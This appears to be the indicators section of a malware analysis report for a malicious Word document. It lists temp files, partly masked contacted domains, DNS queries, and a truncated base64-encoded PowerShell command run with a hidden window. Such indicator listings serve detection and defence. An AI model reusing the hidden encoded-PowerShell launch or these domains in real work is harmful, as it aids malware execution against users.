Technical Information
- <Current directory>\~wrd0000.tmp
- <Current directory>\~wrd0001.tmp
- <Current directory>\~wrd0000.tmp
- <PATH_SAMPLE>.doc
- 'fo#####diodesign.com':80
- 'fi###report.com':80
- 'fi####ecords.com':443
- 'sa####radley.com':80
- 'be###gings.com':80
- 'fi####ecords.com':443
- DNS ASK fo#####diodesign.com
- DNS ASK fu##tens.se
- DNS ASK fi###report.com
- DNS ASK fi####ecords.com
- DNS ASK sa####radley.com
- DNS ASK be###gings.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e IABbAHMAdAByAGkAbgBHAF0AOgA6AGoAbwBJAE4AKAAgACcAJwAgACwAKAAgACcAMwA2AEAAMQAxADkAJgAxADEANQAmADkAOQBEADEAMQA0AFkAMQAwADUAPgAxADEAMgBZADEAMQA2AH4AMwAyAH0ANgAxAEQAMwAyAEAAMQAxADAAdwAxADAAMQB3AD...' (with hidden window)